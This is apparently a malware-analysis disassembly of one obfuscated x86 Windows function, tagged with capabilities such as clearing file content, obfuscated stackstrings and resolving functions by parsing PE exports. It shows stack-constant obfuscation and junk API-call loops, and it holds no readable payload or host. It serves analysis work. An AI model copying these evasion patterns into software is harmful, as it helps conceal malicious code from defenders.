Function at 0x4056ea
Capabilities:
Clear file content
Contain obfuscated stackstrings
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8d0
push esi
push edi
mov dword [esp + 0xac], 0x13ef6ed5
mov dword [esp + 0x90], 0x71a2fac9
mov dword [esp + 0xd0], 0x79907612
mov dword [esp + 0x20], 0x7f5066b3
mov dword [esp + 0xa0], 0x132643e5
mov dword [esp + 0xc8], 0x5a50766
mov dword [esp + 0x18], 0x583adb23
mov dword [esp + 0x6c], 0x3a934f3d
mov dword [esp + 0xc0], 0x6b2220d3
mov dword [esp + 0x10], 0x68754849
mov dword [esp + 0x88], 0x4fd19554
mov dword [esp + 0xbc], 0x730b73ac
mov dword [esp + 0x74], 0x3615687d
mov dword [esp + 0x60], 0x49ad2637
mov dword [esp + 0x98], 0x4b0dc026
mov dword [esp + 0x48], 0x3d2b75a2
mov dword [esp + 0x64], 0x24aec846
mov dword [esp + 0x40], 0x5f6fec04
mov dword [esp + 0x24], 0x73c39a22
mov dword [esp + 0x80], 0x7cc4bea6
mov dword [esp + 0x8c], 0x45d722a6
mov dword [esp + 0x9c], 0x4dfa51fa
mov dword [esp + 0x78], 0x695d06b0
mov dword [esp + 0xc], 0x27883231
mov dword [esp + 0x5c], 0x7d7c803b
mov dword [esp + 0x38], 0x5f34b100
mov dword [esp + 0xd4], 0x20db8087
mov dword [esp + 0x54], 0x5013ba0e
mov dword [esp + 0x70], 0x629cc0a9
mov dword [esp + 0x94], 0x733ac3de
mov dword [esp + 0x3c], 0x821dd52
mov dword [esp + 0x84], 0x7b2c3870
mov dword [esp + 0x30], 0x2ed0fd2c
mov dword [esp + 0x2c], 0x44100e77
mov dword [esp + 0xa4], 0x22867f16
mov dword [esp + 0x28], 0x7f14a89b
mov dword [esp + 0xb8], 0x10bf545
mov dword [esp + 0x58], 0x43160eee
mov dword [esp + 0xb0], 0x7f983c5
mov dword [esp + 0xcc], 0x286dc477
mov dword [esp + 0xc4], 0x25cfd4d3
mov dword [esp + 0x7c], 0x1f841ee6
mov dword [esp + 0x14], 0x2544b029
mov dword [esp + 8], 0x10b0cec5
mov dword [esp + 0xa8], 0x4e20a56b
mov dword [esp + 0x4c], 0x18649ae
mov dword [esp + 0x34], 0x6241345d
mov dword [esp + 0xb4], 0x7a867223
mov dword [esp + 0x44], 0x3735f767
mov dword [esp + 0x68], 0x46051c1f
mov dword [esp + 0x1c], 0x19925608
mov dword [esp + 0x50], 0x3ddd0bcc
sub dword [esp + 0x90], 0x150cfe51
add dword [esp + 0x90], 0x1f5155dd
add dword [esp + 0xac], 0xa289d01
add dword [esp + 0xac], 0x17e8ff5c
mov eax, 0x3bf93a3d
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
sub dword [esp + 0xd0], 0x355b3ba7
mov eax, 0xd4173cb
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x769eb95f
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0xd0], 0x68c405f2
sub dword [esp + 0x90], 0x5aa79b83
add dword [esp + 0xac], 0x17adac95
add dword [esp + 0xd0], 0x26e9caca
mov eax, 0x7e01398e
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xac], 0x444713a2
sub dword [esp + 0xac], 0x5e124473
mov eax, 0x6b8e8c7f
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xac], 0x2647be08
sub dword [esp + 0xd0], 0x2d7690c8
mov eax, 0x45613dce
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0xac], 0x600b9024
add dword [esp + 0x90], 0x13c6ba45
sub dword [esp + 0x20], 0x2c16360c
mov eax, 0x59a262b1
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x1b5437de
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0xac], 0x2a7f0186
mov eax, 0x6ac1f6e3
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0xa0], 0x6eda6572
mov eax, 0x60ed3abe
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
sub dword [esp + 0x88], 0x777126c2
mov eax, 0x95e379c
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x6cdb68b0
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x60], 0xf5bb2f0
mov eax, 0x6c2bd572
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0x20], 0x1ee11f5d
sub dword [esp + 0x74], 0x19f64d12
sub dword [esp + 0x6c], 0x39b38079
mov eax, 0x501a6067
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x4c0115b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x6c], 0x7d9263d
mov eax, 0x6068ee99
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x18], 0x4c4d8f16
sub dword [esp + 0xc0], 0x6f8fb806
sub dword [esp + 0x64], 0x422c53f4
mov eax, 0x23683cc8
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0xc0], 0x7eaeb985
sub dword [esp + 0x6c], 0x63abf85
mov eax, 0x2948acac
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
mov eax, 0x10875db1
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x57f20c97
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x40], 0x59c5d10
mov eax, 0xa03c4ec
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0xc8], 0x1ffff506
mov eax, 0x220e1d91
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x40], 0x27eaddd9
add dword [esp + 0x98], 0x765a3c53
sub dword [esp + 0x98], 0x630cc782
add dword [esp + 0xa0], 0x4b352f06
mov eax, 0x3d1826ea
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x8c], 0x630daeff
sub dword [esp + 0x18], 0x28765f1f
add dword [esp + 0x88], 0x2272a1b8
add dword [esp + 0xd0], 0x4c781a3
add dword [esp + 0x10], 0xa2699a5
sub dword [esp + 0xc], 0x78dfb90a
sub dword [esp + 0xa0], 0x7dd4db3a
sub dword [esp + 0x20], 0x24318703
add dword [esp + 0x40], 0x396e1545
add dword [esp + 0x10], 0x48a0dbb6
sub dword [esp + 0x64], 0x4541e3f5
sub dword [esp + 0xd4], 0x28f2ac87
mov eax, 0x69bf9aff
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x48], 0x45bdfe46
sub dword [esp + 0x9c], 0x2a4125e0
sub dword [esp + 0x40], 0x32b41840
sub dword [esp + 0x78], 0x70440025
mov eax, 0x3326af61
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x40], 0x623b17d6
mov eax, 0x4d993f66
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5f8d8fe2
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x712745ab
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x20], 0x5ad17769
mov eax, 0x7dbc58fb
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x74], 0x2c063e97
add dword [esp + 0x64], 0x762f81bd
mov eax, 0x2d25c661
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x5c], 0xce779fa
add dword [esp + 0x4c], 0x113514df
add dword [esp + 0x28], 0x7ed79a29
mov eax, 0x13dbdb32
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
mov eax, 0x7ed1d04f
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x48], 0x134dd428
mov eax, 0x1d02cf89
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0x706f8c69
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x34], 0x4c35af3a
add dword [esp + 0x4c], 0x5f681bb8
sub dword [esp + 0x64], 0x59beb472
sub dword [esp + 0x2c], 0x4ff4700b
add dword [esp + 0x28], 0x6f599043
xor esi, esi
xor edi, edi
cmp edi, 0x911
jge 0x405d98
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
push esi
call dword [sym.imp.USER32.dll_GetSysColor]
cmp edi, 0x166fd24
jg 0x405da9
inc edi
cmp edi, 0x379d301
jl 0x405d82
cmp dword [0x245713c], 0x400
jne 0x405e32
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
call fcn.004060f5
pop ecx
push esi
push esi
call fcn.004063ea
push esi
push esi
push esi
call fcn.00406521
fldz
add esp, 4
fst qword [esp + 8]
fstp qword [esp]
call fcn.00405eb0
fstp st(0)
add esp, 8
fldz
fstp qword [esp]
call fcn.004062d0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00405ed0
fstp st(0)
push esi
push esi
call fcn.00405ff9
add esp, 0x10
xor edi, edi
cmp edi, 0x16d22
jge 0x405e4f
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x12e8a06
jg 0x405e6d
inc edi
cmp edi, 0x30375
jl 0x405e34
mov eax, dword [0x441b44]
mov dword [0x245713c], eax
call fcn.00405432
mov edi, 0x2ec37
cmp dword [0x245713c], 0x51f
jne 0x405e9c
lea eax, [esp + 0xd8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec edi
jne 0x405e81
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10